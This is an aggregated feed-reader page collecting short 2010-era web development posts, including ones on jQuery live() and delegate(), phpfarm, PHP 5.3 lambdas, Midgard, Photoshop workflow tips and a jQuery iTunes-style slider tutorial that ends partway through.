I’ve just uploaded the slides from my confoo.ca talk “Making software management tools work for you”. You can download the slides from here.
Thanks again to everyone who attended! Please give me feedback on joind.in.
209966 items (235 unread) in 24 feeds
CNN
(10 unread)
MSNBC
(18 unread)
PHP
(16 unread)
Deals
(170 unread)
Tech
(2 unread)
Web Development
(9 unread)
CNN Money
(10 unread)
PHP (16 unread)
I’ve just uploaded the slides from my confoo.ca talk “Making software management tools work for you”. You can download the slides from here.
Thanks again to everyone who attended! Please give me feedback on joind.in.
Tuning a webserver in three minutes while it's being slashdotted.
In jQuery 1.3, the team introduced the live() method, which allows us to bind event handlers to elements on the page, as well as any that might be created in the future dynamically. Though not perfect, it definitely proved to be helpful. Most notably, live() bubbles all the way up, and attaches the handler to the document. It also ceases to work well when chaining method calls, unfortunately. Delegate() was introduced in version 1.4, which almost does the same thing, but more efficiently.
We’ll examine the specific differences between the two methods in today’s video quick tip. Thanks to the FireQuery Firebug extension, we’ll have the tools to more easily understand how each method functions.
<ul id="items"> <li> Click Me </li> </ul>
// Bind attaches an event handler only to the elements
// that match a particular selector. This, expectedly,
// excludes any dynamically generated elements.
$("#items li").click(function() {
$(this).parent().append("<li>New Element</li>");
});
// Live(), introduced in 1.3, allows for the binding
// of event handlers to all elements that match a
// selector, including those created in the future.
// It does this by attaching the handler to the document.
// Unfortunately, it does not work well with chaining.
// Don't expect to chain live() after calls like
// children().next()...etc.
$("li").live("click", function() {
$(this).parent().append("<li>New Element</li>");
});
// Delegate, new to version 1.4, perhaps should have been a complete
// replacement for Live(). However, that obviously
// would have broken a lot of code! Nonetheless,
// delegate remedies many of the short-comings
// found in live(). It attaches the event handler
// directly to the context, rather than the document.
// It also doesn't suffer from the chaining issues
// that live does. There are many performance benefits
// to using this method over live().
$('#items').delegate('li', 'click', function() {
$(this).parent().append('<li>New Element</li>');
});
// By passing a DOM element as the context of our selector, we can make
// Live() behave (almost) the same way that delegate()
// does. It attaches the handler to the context, not
// the document - which is the default context.
// The code below is equivalent to the delegate() version
// shown above.
$("li", $("#items")[0]).live("click", function() {
$(this).parent().append("<li>New Element</li>");
});
Conclusion
This can definitely be a confusing topic. Please feel free to ask questions, or discuss within the comments. Thanks so much to Elijah Manor for clarifying a few things for me on this topic!
PEAR consists of literally hundreds of packages (libraries) that help you to build your PHP applications faster, less error-prone and more secure. Millions of web applications use and rely on the proper functioning of PEAR packages.
To ensure constant quality, many packages utilize phpt or PHPUnit tests that are run during development and before each release. They help us making sure new features or bug fixes do not break existing functionality.
One of hard to solve challenges is ensuring that a package's unit tests do not only run on the specific PHP version the developers have installed on their machines (which often is the latest and greatest, maybe not even released version from SVN), but to cover the whole range of supported PHP versions. This goal can be achieved in several ways:
Solution number 1 requires either much hardware or at least quite some setup time for virtual machines. Besides that, running tests regularly on many different machines needs automated deployment tools - you won't ssh into the 15th machine manually, let alone setting up database servers and other software that might be required.
There is no single Linux distribution I know of that supports installing multiple versions of PHP beside each other - making solution number 2 similar daunting to setup and running as #1. The benefits above #1 are obvious: All software on one machine means easier deployment because the software to test needs to be setup only once. Software dependencies need to be installed only once. Executing the tests is easier if all versions of PHP are on this single machine, which means that the cross-version tests can be automated really easily.
A tool to solve all problems with the multiple-php-versions-on-one-machine solution is phpfarm. The best way to demonstrate its easiness is probably a shellshot:
$ svn co [svn.php.net] phpfarm $ cd phpfarm/src $ ./compile 5.3.2 ... fetching sources from php.net ... configuring ... compiling ... installing ... fetching and setting up pyrus $ php-5.3.2 --version PHP 5.3.2 (cli) (built: Mar 10 2010 18:08:27) (DEBUG) Copyright (c) 1997-2010 The PHP Group Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies $ pyrus-5.3.2 --version Pyrus version 2.0.0a1 SHA-1: 2FDFB5E00A6D707437DBC047AAF9D115C6484D90 Using PEAR installation found at /home/cweiske/Dev/cvs/pear/phpfarm/inst/php-5.3.2/pear php pyrus.phar version 2.0.0a1.
That's it. With one single command, you can install each version of PHP you like, and you get pyrus, the next-generation PEAR installer for free! Let's try it:
$ pyrus-5.3.2 channel-discover pear.phpunit.de Discovery of channel pear.phpunit.de successful $ pyrus-5.3.2 install phpunit/phpunit ... Installed pear.phpunit.de/PHPUnit-3.4.11 $ pyrus-5.3.2 list-packages Listing installed packages [/home/cweiske/Dev/cvs/pear/phpfarm/inst/php-5.3.2/pear]: [channel pear.phpunit.de]: PHPUnit
phpfarm automatically sets up your php.ini with the values you desire. It sets your include_path. It lets you specify custom configuration options, per patch, minor or major PHP version - just have a look at the README.
Now everything is ready for you (and us PEAR developers!) to let the unit tests run on all the little PHP versions we want to. Did I tell you that phpfarm also installs php-cgi versions? My next blog entry will show you how to run dozens of php versions simultaneously in apache.
If you have questions or suggestions about phpfarm, don't hesitate to ask on the pear-general mailing list (subscription info) or on the #pear IRC channel.
Happy testing!
I’ve been working hard on Goodsie.com lately trying to bring it to launch. It’s been great being in on a new PHP project from (near) the beginning, as it frees up a number of things.
One of those, is the fact that I can be using PHP 5.3 and all the new features that come with PHP 5.3. While I’ve used my fair share of the short-cut ternary already (?:), the bigger win for me, are the Lambda functions with scoping (anonymous functions).
I found a very specific use out of the blue of Lambda functions that I have now used and I see as a great use-case. Which is specifically passing functions/logic from your Controller to your View.
In the case of Goodsie, I’m using PHP for my templating language and as usual I’m trying to remove as much logic from my View as possible, while still allowing the view to be malleable.
The specific case I had, was a subview that was generating some pagination code for me. You know, the standard ‘previous, page 1, page 1, next’ section of links. The basic html template I had, looked looked similar to:
<div class="pagination">
<a href="<?= $baseurl . '/page:' . ($page - 1) ?>">← Previous</a>
Page <?= $page ?> of <?= $total ?>
<a href="<?= $baseurl . '/page:' . ($page + 1) ?>">Next →</a>
</div>
Rather straight forward, but I quickly ran into a problem. The way it worked, as you see, is that you passed in a base URL, and the page number you are currently on, and it generated appropriate forward/back links. (Ok, there was also some other logic where it determined if you needed the prev/next links at all, but I’ve removed that for clarity)
But I then had a case, where I wanted to reuse this subview in an ajax situation. Where instead of straight URL’s being passed in, I might want to pass in a javascript function, and have that function be called with the page number as a parameter. That would be nice as I could use it in both situations. What pagination looked like, could completely change, and still work on both cases. Perhaps we’d want to give a full list of all possible pages. Or show a couple forward/back, etc. The view could handle all of that without a change to the controller.
But therein lied the problem. When using a URL based pagination, I wanted to concat the page number onto the end of the URL. But when using javascript, it wasn’t pure concatenation, it instead needed to wrap the page number with the function call. Oh the pain a simple ) could cause me.
I started writing code, where I ended up with tons of switch statements and logic inside of the view. I’d have to pass in two different possible values, a URL or a javascript function. The view at every point where it would output a link, would need to see which version was being used, and from that decide what type of output to create. In short, it was a mess.
But then the solution dawned upon me. A lambda function would work admirably here. So what I did, is inside of my controller I created a function on the fly, that would generate the appropriate type of link that I was wanting. It looks something like:
if ($jsfunc) {
$url = function ($p) use ($jsfunc) { return "javascript:{$jsfunc}({$p})"; };
} elseif ($baseurl) {
$url = function ($p) use ($baseurl) { return "{$baseurl}/page:{$p}"; };
}
Now I could simply rewrite my original template, to use this lambda function $url to generate it’s URLs.
<div class="pagination">
<a href="<?= $url($page - 1) ?>">← Previous</a>
Page <?= $page ?> of <?= $total ?>
<a href="<?= $url($page - 1) ?>">Next →</a>
</div>
Now not only would this work for my specific situation, but ANY controller could reuse this pagination subview and define exactly how it wanted it’s URLs to be formed. Now, the view could completely change around how the pagination section is displayed, show as many, or as few pages as it wants to, and all that without ever touching the controller.
This is one simple example, but I’ve become enamored of this approach. Using lambda functions in this way, you are able to have complicated logic represented inside of your view, but encapsulated/created by the controller. Also of note is the fact that the view is managing to use the $jsfunc and $baseurl values, but without actually having to be granted access to them. This allows for another level of encapsulation, as I exposed one function,
Truncated by Planet PHP, read more at the original (another 1389 bytes)
Qaiku, the conversational microblogging service that launched a year ago had a refresh that launched today. While it hasn't yet convinced the twittering masses, it has already proven itself as a lot more thoughtful platform for the Finnish online community, and as a valuable workstreaming tool.
The new version looks quite nice and fresh. Notice the privacy information on the right-hand side, which is relevant as Qaiku allows channels and profiles that are private or invitation-only:

Technically the new version is also remarkable as it is the first major website to run fully on top of the legacy-free Midgard2 platform. So yes, every entry you see there is a GObject. And D-Bus signals fly when you post.
On to the challenge, thenTo highlight Qaiku's threading, conversational nature I started a new "On my travels, I have" thread for sharing your most extraordinary travel experiences. This is not on Twitter or Buzz as with Qaiku it is so easy to keep the conversation together and accessible for the future as well.
To contribute, sign up on Qaiku, go to the thread and add your experiences as a comment. If you have a link or picture to include, you can also do so. My first entry was:
seen ice descend from the heavens and provide us with cold beer on a hot day in Lesotho
Will be interesting to see what comes out of this :-)
I'm doing a talk today in the Bossa Conference about using Midgard as a content repository for mobile applications. As part of my presentation I wrote some simple example code for using the Midgard APIs in Python, and thought they would be good to share to those not attending the event as well.
The idea of a content repository is that instead of coming up with new, isolated file formats or database setups for your application you can just work with objects and signals, and let Midgard handle the rest. This is something that lots of people are doing with CouchDB as well, but we feel Midgard, with its light footprint and native APIs for languages like Python, C, Vala and PHP fits better in the mobile applications context.
Installing MidgardMidgard packages are available for many different Linux distributions through the OpenSuse Build Service. To find the right repository for your setup, go to the OBS project page. For example, on my Ubuntu Karmic netbook the URL to add to apt sources.list is deb [download.opensuse.org] ./. Then I just:
sudo apt-get update sudo apt-get install python-midgard2
Midgard is also available in Maemo extras and for OS X on MacPorts.
Defining a schemaThe first thing when developing a Midgard application is to define your storage objects. This is done using the MgdSchema XML format. In this case we're doing a simple "attendee" object that amends Midgard's built-in person record with information related to the conference:
<?xml version="1.0" encoding="UTF-8"?>
<Schema xmlns="http://www.midgard-project.org/repligard/1.4">
<type name="openbossa_attendee" table="openbossa_attendee">
<property name="id" type="unsigned integer" primaryfield="id">
<description>Local non-replication-safe database identifier</description>
</property>
<property name="person" type="unsigned integer" link="midgard_person:id">
<description>Person attending the event</description>
</property>
<property name="registration" type="datetime">
<description>Registration date of the attendee</description>
</property>
<property name="likesbeer" type="boolean">
<description>Whether the attendee likes beer</description>
</property>
</type>
</Schema>
Then we just save this XML file into /usr/share/midgard2/schema/ so that Midgard will find it.
Once the MgdSchema is in place it is time to import antigravity and start hacking in Python. The code works pretty much in the same way in other languages Midgard is available for, but Python is used here for the sake of simplicity. First we load the Midgard extension:
import _midgard as midgard
Then we setup the repository connection. With these settings we will store our content into an SQLite database located in ~/.midgard2/data/midgardexample.db:
configuration = midgard.config() configuration.dbtype = 'SQLite' configuration.database = 'midgardexample' # Open a Midgard repository connection with our config connection = midgard.connection() connection.open_config(configuration)
As this is the first time we're interacting with the repository we need to tell Midgard to prepare the storage for itself and also for our new openbossa_attendee class:
midgard.storage.create_base_storage()
midgard.storage.create_class_storage('midgard_person')
midgard.storage.create_class_storage('midgard_parameter')
midgard.storage.create_class_sTruncated by Planet PHP, read more at the original (another 2314 bytes)
Repetitive tasks can quickly become tedious. As a designer, you probably often find yourself designing the same elements over and over from scratch. STOP!
Wasting time is so old-fashioned. It also means you’re wasting money! So, let’s review some ways that you can automate and systematize your Photoshop workflow. And be sure to download the project base for all of your new designs!
File Tree & Re-usable Project Base
The first step in systematizing your workflow is to organize your files. Identify all common elements you use within your designs.
You may come to a list such as the following:
Consider how your final deliverables are used. If they are shipped to a coding business, be as organized and thorough as possible, including notes and fonts where applicable.
You can ensure that you have perfectly organized themes by creating a package that allows you to “fill in the blanks”, so to speak. Simply copy this folder, assign it to the project by renaming it to the project and get working. This is a very simple and efficient way to work, and means that websites you built four years ago can easily be edited, because everything is packed into its very own place.
In the zip file, you’ll find a simple re-useable template starting point. This file contains elements such as dividers, buttons and a pre-gridded template to speed up your design workflow.
See how simple starting a new project is now? It may take a couple of minutes to set-up, but the time saved later is more time for you to be doing what you love best – designing!
Now that we have a solid base to build upon, we can starting filling out our ‘boiler-plater’ with specific files and concepts.
Web Template
The sample template will allow you to create a page of your most used elements, ready for quick inclusion in your latest project.
If you’re a web designer in particular, you’ll find that a lot of your projects, even those different in every possible way – use and re-use common elements.
Begin by building a few re-usable templates. Don’t worry about which elements you wish to include just yet, because you can always go back and look at your previous projects and analyze more popular features – then re-create them here.
Personally, I use just one template. I have a home page (this contains elements such as news bulletins, blog post stylings, menus, logos and call to actions). I can modify this template to suit blog pages, buy it now forms and more.
The page also has a 960.gs pre-applied. This has been included for download at the end of the article, in the template boilerplate.
Once you’re set-up with this concept, you can build designs very quickly. However, you should definitely consider developing your own, and tailor it to your clients and team. You could go further by adding icons, search elements and online store related items – anything to suit your client base.
Grouping & Organizing
The above image demonstrates the tangible difference between an organized layer palette, and a messy one!
When you’re in a real creative flow, it can be difficult to stop and start naming and grouping layers. Photoshop doesn’t really help in this area by default either!
So, take the time as you go to name and group layers. This will help you later when coding the design, or if you ship if off for coding elsewhere.
Name each layer, and try to use a descriptive and short word – such as ‘menu’ for the navigation. Group specific areas, such as the header or a contact form.
This has a two-fold benefit.
So, take the time to stop every five minutes or so, and name and group each element. You’ll be glad you did!
Make good use of the select tool! You can toggle the select mode between layers and groups. This facilitates mass updating and re-aligning designs, so don’t forget it!
Actions
If you don’t use actions in your work-flow, then you should begin using them immediately.
Photoshop actions are entirely configurable lists of actions Photoshop should carry out automatically. You can create your own, or choose from the bounty available online. If you work on Photographs for example, and have 400 pictures to edit and resize, this would take a long time. Instead, you can create an action that adjusts the contrast, alters the size and then saves the file in .jpg format, blasting through 400 files in seconds! You must use actions!
If you do not have the knowledge, or experience to create your own actions, GraphicRiver has a large selection of actions available for purchase from $1!
The actions on sale range from simple photo effects to this action which can add various pre-formatted text sections such as contact details or blog posts in seconds.
Start using Actions and you will notice a significant increase in your productivity and reduce the amount of times you need to repeat monotonous tasks over and over.
Creating and Using an ActionMaking your own action is easy. As an example, we’ll create a simple action to re-size several images at once, then save them.
First off, you need to hit the new action button, on the actions palette.
You shouldn’t need to change any settings as standard, bar changing the name for better organization. Photoshop is now recording your actions. So, all you need to do is re-size the image. Go to image size, and alter the dimensions. The action will change any image to these dimensions. Then hit save.
Finally, press stop on the action palette.
Now, when you press play on the action you’ve created, Photoshop will follow the list of defined actions on your image. Although very simple, an action such as this one could save you hours of monotonous resizing photos and images. This is only a very simple look at actions. They can do so much more, so take your time to get to know them and really use them. The beauty of them is in how you can record basically any action in Photoshop – selecting, changing styles, transforming, re-sizing and saving.
iPhone & UI DesignDo you work with user interfaces? If so, you really need to download a GUI element pack for Photoshop.
There are many available for most popular operating systems and mobile platforms.
For example, if you work with the iPhone, you can download the iPhone GUI pack that contains all elements available in the iPhone interface library, and then simply start designing your app. Simple, quick and much easier than attempting to create these from scratch.
Android GUI Kit
Teehan Lax Kits
The agency, Teehan Lax have several high quality, life-like UI kits. These are great for building an iphone app sales site, or designing the actual UI of an app. Kits are available for the iPhone, Palm Pre and Browsers.
Palm Pre
iPhone
Browser Elements
Conclusion
I hope we’ve given you some tips that you can use to improve your productivity and efficiency. Photoshop is a wonderful tool, but, if we’re not careful, we can find ourselves repeating the sames tasks over and over. So be sure to implement the above tips and start saving time, money and your sanity!
Download the Project Base
Do you have any Photoshop time-saving tips? Have any ideas on other tasks that could be automated to save time and repetition? Feel free to share them with the community via the comments.
Which CMS does The Real Story Group Use? (Tony Byrne / CMS Watch):
The answer is, we use an open-source platform called "Midgard." We picked it nearly ten years ago, and it has held up fairly well.
...
One of the things we like about Midgard actually makes it rather unsuitable for many simpler publishing scenarios: it is highly object-oriented. This allows us to run multiple sites off largely a single codebase -- at the cost of quite user-unfriendly administrative and authoring facilities.
Also, Midgard is very much a development platform, and we have had to create a fair amount of custom code, especially to handle structured content. In that regard, our CMS experience probably resemble yours. As an industry we remain very far from plug-and-play content management technology for all but the simplest of websites.
While the post contains many negative points about older Midgard (the UIs are a bit better now than they used to be, quite a lot of development has since been happening especially in the LTS branch), it is remarkable that CMS Watch has been able to run their services through the same CMS setup for ten years. This really shows the durability and commitment to long-term stability we have in the Midgard community. We've been doing this for more than ten years, and will likely keep going for quite a bit longer.
As for usability and popularity of Midgard, there is quite little we can do about it in the Midgard1 area, as that is now in long-term support phase that won't allow major changes. But Midgard2 is a new world with new opportunities. Midgard's content repository is pretty much there already, as is the MVC layer, and this spring we should be able to unveil the new, quite revolutionary CMS concept as well. Watch this blog for updates!
Over the weekend, Elijah Manor tweeted about a new IDE, called WebStorm, that is currently being offered as a public preview, from JetBrains. After spending a few hours with it, I’m extremely impressed! In this video quick tip, I thought I’d show you some of my favorite features that you, frankly, just don’t see much in other code editors.
Watch on your iPhone Notable FeaturesSo, if you’re curious, take some time to look over WebStorm and let me know what you think! I’m still learning it too, so let me know if you found any cool features that I didn’t mention.
jQuery is not always as it appears. There's a lot of cool stuff going on under the surface, and there are many methods just waiting to be discovered, and many potential usages of jQuery's API that you may not have considered before. In this article I'll be taking you through a few of the not-so-obvious things I've discovered about jQuery.
1. Understand jQuery!When you call 'jQuery' what happens?
The jQuery function itself is very simple:
jQuery = function (selector, context) {
// The jQuery object is actually just the init constructor 'enhanced'
return new jQuery.fn.init(selector, context);
};
Under its skin, the jQuery function (commonly referred to as the "wrapper" function) simply returns an instantiated jQuery object — i.e. an instance of the 'jQuery.fn.init' constructor.
This is useful to know; with this information we know that each time we call 'jQuery' we're actually creating a totally unique object with a set of properties. jQuery is clever in that it gives you an object that can be treated as an array. Each of your elements (all together, commonly known as the "collection") is referenced within the object under a numerical index, just like within an array. And jQuery also gives this object a 'length' property, just as you would expect from an array. This opens up a world of possibilities. For one, it means that we can borrow some functionality from 'Array.prototype'. jQuery's 'slice' method is a good example of this — modified from the source:
/* ... jQuery.fn.extend({ ... */
slice: function() {
return this.pushStack(
Array.prototype.slice.apply( this, arguments ),
"slice",
Array.prototype.slice.call(arguments).join(",")
);
},
/* ... */
The native 'slice' method doesn't care that 'this' is not a real array– it'll be fine with anything that's got a 'length' property and [0], [1], [2] etc.
There are some other interesting properties within this jQuery object — '.selector' and '.context' will, most of the time, reflect the arguments that you pass into 'jQuery(…)'.
var jqObject = jQuery('a');
jqObject.selector; // => "a"
One thing that's important to note is that jQuery will sometimes give you new jQuery objects to work with. If you run a method that changes the collection in some way, such as '.parents()', then jQuery won't modify the current object; it'll simply pass you a brand new one:
var originalObject = jQuery('a');
var anotherObject = originalObject.parents();
originalObject === anotherObject; // => false
All methods that appear to mutate the collection in some way return a brand new jQuery object — you can still access the old object though, via '.end()', or more verbosely, via '.prevObject'.
2. Bread-and-butter Element CreationCentral to jQuery's DOM capabilities, is its element creation syntax. 1.4 brought with it an entirely new way to create your elements quickly and succinctly. E.g.
var myDiv = jQuery('<div/>', {
id: 'my-new-element',
class: 'foo',
css: {
color: 'red',
backgrondColor: '#FFF',
border: '1px solid #CCC'
},
click: function() {
alert('Clicked!');
},
html: jQuery('<a/>', {
href: '#',
click: function() {
// do something
return false;
}
})
});
As of 1.4 you can pass a second argument to the jQuery function when you're creating an element — the object you pass will, for the most part, act as if you were passing it to '.attr(…)'. However, jQuery will map some of the properties to its own methods, for example, the 'click' property maps to jQuery's 'click' method (which binds an event handler for the 'click' event) and 'css' maps to jQuery's 'css' method etc.
To check out what properties map to jQuery's methods, open your console and type 'jQuery.attrFn'.
3. Serialize your InputsjQuery provides a method that you can use to serialize all of the inputs within one or more forms. This is useful when submitting data via XHR ("Ajax"). It's been in jQuery for a long time but it's not often talked about and so many developers don't realise it's there. Submitting an entire form via Ajax, using jQuery, couldn't be simpler:
var myForm = $('#my-form');
jQuery.post('submit.php', myForm.serialize(), function(){
alert('Data has been sent!');
});
jQuery also provides the 'serializeArray' method, which is designed to be used with multiple forms, and the 'param' helper function (under the jQuery namespace) which takes a regular object and returns a query string, e.g.
var data = {
name: 'Joe',
age: 44,
profession: 'Web Developer'
};
jQuery.param(data); // => "name=Joe&age=44&profession=Web+Developer"
4. Animate Anything
jQuery's 'animate' method is probably the most flexible of jQuery's methods. It can be used to animate pretty much anything, not just CSS properties, and not just DOM elements. This is how you would normally use 'animate':
jQuery('#box').animate({
left: 300,
top: 300
});
When you specify a property to animate (e.g. 'top') jQuery checks to see if you're animating something with a style property ('element.style'), and it checks if the specified property ('top') is defined under 'style' — if it's not then jQuery simply updates 'top' on the element itself. Here's an example:
jQuery('#box').animate({
top: 123,
foo: 456
});
'top' is a valid CSS property, so jQuery will update 'element.style.top', but 'foo' is not a valid CSS property, so jQuery will simply update 'element.foo'.
We can use this to our advantage. Let's say, for example, that you want to animate a square on a canvas. First let's define a simple constructor and a 'draw' method that'll be called on every step of the animation:
function Square(cnvs, width, height, color) {
this.x = 0;
this.y = 0;
this.width = width;
this.height = height;
this.color = color;
this.cHeight = cnvs.height;
this.cWidth = cnvs.width;
this.cntxt = cnvs.getContext('2d');
}
Square.prototype.draw = function() {
this.cntxt.clearRect(0, 0, this.cWidth, this.cHeight);
this.cntxt.fillStyle = this.color;
this.cntxt.fillRect(this.x, this.y, this.width, this.height);
};
We've created our 'Square' constructor, and one of its methods. Creating a canvas and then animating it couldn't be simpler:
// Create a <canvas/> element
var canvas = $('<canvas/>').appendTo('body')[0];
canvas.height = 400;
canvas.width = 600;
// Instantiate Square
var square = new Square(canvas, 70, 70, 'rgb(255,0,0)');
jQuery(square).animate({
x: 300,
y: 200
}, {
// 'draw' should be called on every step
// of the animation:
step: jQuery.proxy(square, 'draw'),
duration: 1000
});
This is a very simple effect, but it does clearly demonstrate the possibilities. You can see it in action here: [jsbin.com] (this will only work in browsers that support the HTML5 canvas)
5. jQuery.ajax Returns the XHR ObjectjQuery's Ajax utility functions ('jQuery.ajax', 'jQuery.get', 'jQuery.post') all return an 'XM [HttpRequest'] object which you can use to perform subsequent operations on any request. For example:
var curRequest;
jQuery('button.makeRequest').click(function(){
curRequest = jQuery.get('foo.php', function(response){
alert('Data: ' + response.responseText);
});
});
jQuery('button.cancelRequest').click(function(){
if (curRequest) {
curRequest.abort(); // abort() is a method of XM [HttpRequest] }
});
Here we're making a request whenever the 'makeRequest' button is clicked — and we're cancelling the active request if the user clicks the 'cancelRequest' button.
Another potential usage is for synchronous requests:
var myRequest = jQuery.ajax({
url: 'foo.txt',
async: false
});
console.log(myRequest.responseText);
Read more about the 'XMLHttpRequest'">[HttpRequest">'XMLHttpRequest'] object and also be sure to check out jQuery's Ajax utilities.
6. Custom QueuesjQuery has a built-in queuing mechanism that's used by all of its animation methods (all of which use 'animate()' really). This queuing can be illustrated easily with a simple animation:
jQuery('a').hover(function(){
jQuery(this).animate({paddingLeft:'+=15px'});
}, function(){
jQuery(this).animate({paddingLeft:'-=15px'});
});
Quickly hovering over a bunch of anchors and then hovering over them again will cause the animations to queue up and occur one at a time — I'm sure many of you have witnessed this queuing effect before. If not, check it out here: [jsbin.com]
The 'queue' method is similar to the well-known 'each' method in how it's called. You pass a function, which will eventually be called for each of the elements in the collection:
jQuery('a').queue(function(){
jQuery(this).addClass('all-done').dequeue();
});
Passing just a function to 'queue' will cause that function to be added to the default 'fx' queue, i.e. the queue used by all animations done by jQuery. Therefore, this function will not be called until all current animations occurring on each element in the collection (in this case, all anchors) have completed.
Notice that we're adding a class of 'all-done' in the function above. As outlined, this class will only be added when all current animations are complete. We're also calling the 'dequeue' method. This is very important, as it will allow jQuery to continue with the queue (i.e. it lets jQuery know that you're finished with whatever you're doing). jQuery 1.4 provides another way of continuing the queue; instead of calling 'dequeue', simply call the first argument passed to your function:
jQuery('a').queue(function(nextItemInQueue){
// Continue queue:
nextItemInQueue();
});
This does exactly the same, although it's slightly more useful in that it can be called anywhere within your function, even within a mess of closures (that typically destroy the 'this' keyword). Of course, pre-jQuery-1.4 you could just save a reference to 'this', but that would get a bit tiresome.
To add a function to a custom queue, simply pass your custom queue's name as the first argument and the function as the second:
jQuery('a').queue('customQueueName', function(){
// Do stuff
jQuery(this).dequeue('customQueueName');
});
Notice that, since we're not using the default 'fx' queue, we also have to pass our queue's name to the 'dequeue' method, in order to allow jQuery to continue with our custom queue.
Read more about 'queue', 'dequeue' and 'jQuery.queue'.
7. Event NamespacingjQuery provides a way for you to namespace events, which can be very useful when authoring plugins and third-party components. If needed, the user of your plugin can effectively disable your plugin by unbinding all event handlers that it's registered.
To add a namespace when registering an event handler, simply suffix the event name with a period and then your unique namespace (e.g. '.fooPlugin'):
jQuery.fn.foo = function() {
this.bind('click.fooPlugin', function() {
// do stuff
});
this.bind('mouseover.fooPlugin', function() {
// do stuff
});
return this;
};
// Use the plugin:
jQuery('a').foo();
// Destroy its event handlers:
jQuery('a').unbind('.fooPlugin');
Passing just the namespace to 'unbind' will unbind all event handlers with that namespace.
ConclusionSo which ones did I miss? Any helpful features that you feel jQuery doesn’t document well enough? Let’s discuss in the comments!
Gio = imports.gi.Gio;
Gtk = imports.gi.Gtk;
var f = Gio.file_new_for_path('/home/');
f.enumerate_children_async (
"*",
Gio.FileQueryInfoFlags.NONE,
GLib.PRIORITY_DEFAULT,
null,
function(o,ar) {
// listing completed..
var fe = f.enumerate_children_finish(ar);
var ch = false;
while (ch = fe.next_file(null)) {
Seed.print(ch.get_name());
}
Seed.quit();
},
null);
Gtk.main();
Few weeks ago I got new hardware for my home network, a QNAP TS 119 Turbo NAS.
When space is at a premium, making use of sliders is the optimal way to present information. Today, we’ll take a look at how to create a slider similar to the one used in the iTunes store.
Developers often seek the functionality provided by sliders in order to fit lots of information in the space provided. But creating such a slider is not as difficult as you might think. With a little planning and some experimenting, you can create one rather quickly.
I believe a demo is worth a thousand words. Hit the demo and try it out yourselves.

Interested? Let’s get started right away!
Design GoalsBefore we start coding, here are a few goals for this widget.
There are actually a handful of techniques to make a widget like this. For our purposes today, I’m going to stick with a technique which adheres to a saying:
When in doubt, use brute force.
Step 1: Setup the CSS for the gallery container so that all the main images collapse into taking the space of a single image. I’ll explain this point later below.
Step 2: Setup the CSS for the thumbnail container so that only three images are visible at once.
Step 3: Cycle through the images and assign a class to each thumbnail and image with a numeric index to identify each independently. For example, each image gets a class of thumb-xx where xx is a number.
Step 4: When the next button is clicked, move the carousel one thumbnail up and then display the thumbnail’s corresponding image.
These are the basic steps involved in creating such an effect. I’ll explain each step in detail as we go along.
Step 1: Core MarkupThe HTML markup for the demo page looks like so:
<!DOCTYPE html>
<html lang="en-GB">
<head>
<title>iTunes slider</title>
<link rel="stylesheet" href="style.css" type="text/css" />
</head>
<body>
<div id="container">
<h1>Create a simple iTunes-esque slider with jQuery</h1>
<div>by Siddharth for the lovely folks at Net Tuts</div>
<p>A simple slider/slideshow which mostly emulates the one on iTunes barring a few changes. Click the down button to cycle the images.</p>
<div id="gallery">
<img src="img/1.jpg" />
<img src="img/2.jpg" />
<img src="img/3.jpg" />
<img src="img/4.jpg" />
<img src="img/5.jpg" />
<img src="img/6.jpg" />
</div>
<div id="thumbs">
<img src="img/11.jpg" />
<img src="img/22.jpg" />
<img src="img/33.jpg" />
<img src="img/44.jpg" />
<img src="img/55.jpg" />
<img src="img/66.jpg" />
</div>
<a href="#" id="next"></a>
</div>
<script type="text/javascript" src="js/jquery.js"></script>
<script type="text/javascript" src="js/mocha.js"></script>
</body>
</html>
Disregarding the boiler plate code, we have two container elements full of images: one for the main gallery images and one for the thumbnails. I’ve given an ID to both of them so they can be easily accessed from the JavaScript. We also include an anchor element which acts as the next button.
We include the jQuery library and our own script file at the end.
At the end of this stage, our demo page looks like just a list of images.
Step 2: CSS Styling
*{
margin: 0;
padding: 0;
border: 0 none;
outline: 0;
}
body{
font-family: "Lucida Grande", "Verdana", sans-serif;
font-size: 12px;
}
p{
margin: 20px 0 40px 0;
}
h1{
font-size: 30px;
font-family: "Myriad Pro", "Lucida Grande", "Verdana", sans-serif;
padding: 0;
margin: 0;
}
h2{
font-size: 20px;
}
#container{
width: 900px;
margin-left: auto;
margin-right: auto;
padding: 50px 0 0 0;
position: relative;
}
img{
display: block;
}
#gallery, #thumbs{
float: left;
}
#gallery{
width: 800px;
height: 300px;
overflow: hidden;
}
#gallery img{
position: absolute;
}
#thumbs{
width: 100px;
height: 300px;
overflow: hidden;
}
#next{
display: block;
width: 47px;
height: 43px;
background: url(img/arrow.png);
position: relative;
top: 257px;
left: 855px;
}
#next:hover{
background: url(img/arrowmo.png);
}
.clear{
clear: both;
}
The CSS is pretty self explanatory but there are a couple of points I want you to take note of:
First up, notice that I’ve applied position: absolute to #gallery img. This makes sure that the images are stacked on top of each other instead of one below the other. This way we can later manipulate their opacity to decide which image to show.
Secondly, notice that the thumbs element has its height set to 300px. This is because the thumbnails in the demo are 100px tall each and I want the carousel to show 3 images at once. Essentially, for your own implementation, multiply the height of a thumbnail by the number of thumbnails you want to show at once to find the required height of the element.
Also, take note of the fact that we’ve set its overflow property to hidden to make sure no more than 3 thumbnails are shown at once.
After we’ve styled our slider, it looks like the image below. Notice that almost everything is in place. The last image is stacked at the top and is thus visible.
Step 3: JavaScript Implementation
Now that we have a solid framework and some basic styling in place, we can begin coding the required functionality. Note that we make extensive use of jQuery. Feel free to link to Google’s CDN if necessary.
Procuring the Elements and Prepping themWe first need to acquire the images and their corresponding thumbnails so that we can process them.
var images = $("#gallery img");
var thumbs = $("#thumbs img");
var index = 0;
The above snippet will take care of obtaining the list of images and thumbnails, and storing them for later use. We also create a variable called index to denote which element to start from. For now, I’m setting it to start from the first element. Note that index is zero based.
for (i=0; i<thumbs.length; i++)
{
$(thumbs[i]).addClass("thumb-"+i);
$(images[i]).addClass("image-"+i);
}
Next, we just iterate through both the lists and and add a class of thumb-xx or image-xx to each element where xx is a number. This lets us look for each individual thumbnail or image independently.
Hooking up the HandlerWe now need to create an event handler and attach it to the next button so that we can do something when the button is clicked.
$("#next").click(sift);
The one liner above will take care of that. Essentially, we ask it to call the sift function everytime next is clicked.
function sift()
{
if (index<(thumbs.length-1)) {index+=1 ; }
else {index=0}
show (index);
}
